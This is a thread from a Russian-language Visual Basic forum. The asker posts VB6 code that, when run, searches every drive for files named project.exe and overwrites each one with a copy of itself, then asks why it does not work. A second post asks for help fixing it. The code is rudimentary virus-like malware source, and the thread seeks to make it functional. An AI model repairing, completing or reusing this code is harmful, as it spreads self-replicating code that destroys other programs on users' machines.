Страница: 1 |
|
Вопрос: Проблемы с поиском, не идет поиск
|
Добавлено: 22.06.08 00:26
|
|
Автор вопроса:
|
Не понимаю причины почему не работает код, ошибок компилятор не выдает код вроде исправен. Программа должна при запуске делать поиск по всем дискам и дерикториям и при нахождении совершать замену (пример, замена project.exe на запущенный файл project.exe)найденого на запущенный при запуске программа слегка долго загружается вроде бы ищет но потом вылезает окно формы но замены нет и ошибок не вылетает в чем причина?
Option Compare Text
Private Const MAX_PATH = 260
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Const INVALID_HANDLE_VALUE = -1
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Dim Drives() As String
Private Sub Form_Load()
Dim Ret As Long
Dim rFile As String
Dim sMyFile As String
Dim i As Long
Dim sFFile As String
Dim FD As WIN32_FIND_DATA
sMyFile = RCP(App.Path) & App.EXEName & ".exe"
sFFile = App.EXEName & ".exe"
Call GetDrives
For i = 2 To UBound(Drives)
Ret = FindFirstFile(Drives(i) & "project.exe", FD)
If Ret <> INVALID_HANDLE_VALUE Then
Do
rFile = Left$(FD.cFileName, InStr(FD.cFileName, Chr(0)) - 1)
If (rFile <> sMyFile) Then
CopyFile sMyFile, rFile, 0
End If
Loop While FindNextFile(Ret, FD)
Call FindClose(Ret)
End If
Next
End Sub
Private Sub GetDrives()
strSave = String(255, Chr$(0))
Ret& = GetLogicalDriveStrings(255, strSave)
strSave = Left(strSave, InStrRev(strSave, "\"))
Drives = Split(strSave, Chr(0))
End Sub
Function RCP(ByVal p As String) As String
RCP = p & IIf(Right(p, 1) = "\", "", "\")
End Function
Ответить
|
Номер ответа: 2 Автор ответа:
Вопросов: 1 Ответов: 1
|
Профиль | | #2
|
Добавлено: 22.06.08 01:09
|
а как это исправить я нуб в этом может поможите
Ответить
|
Страница: 1 |
Поиск по форуму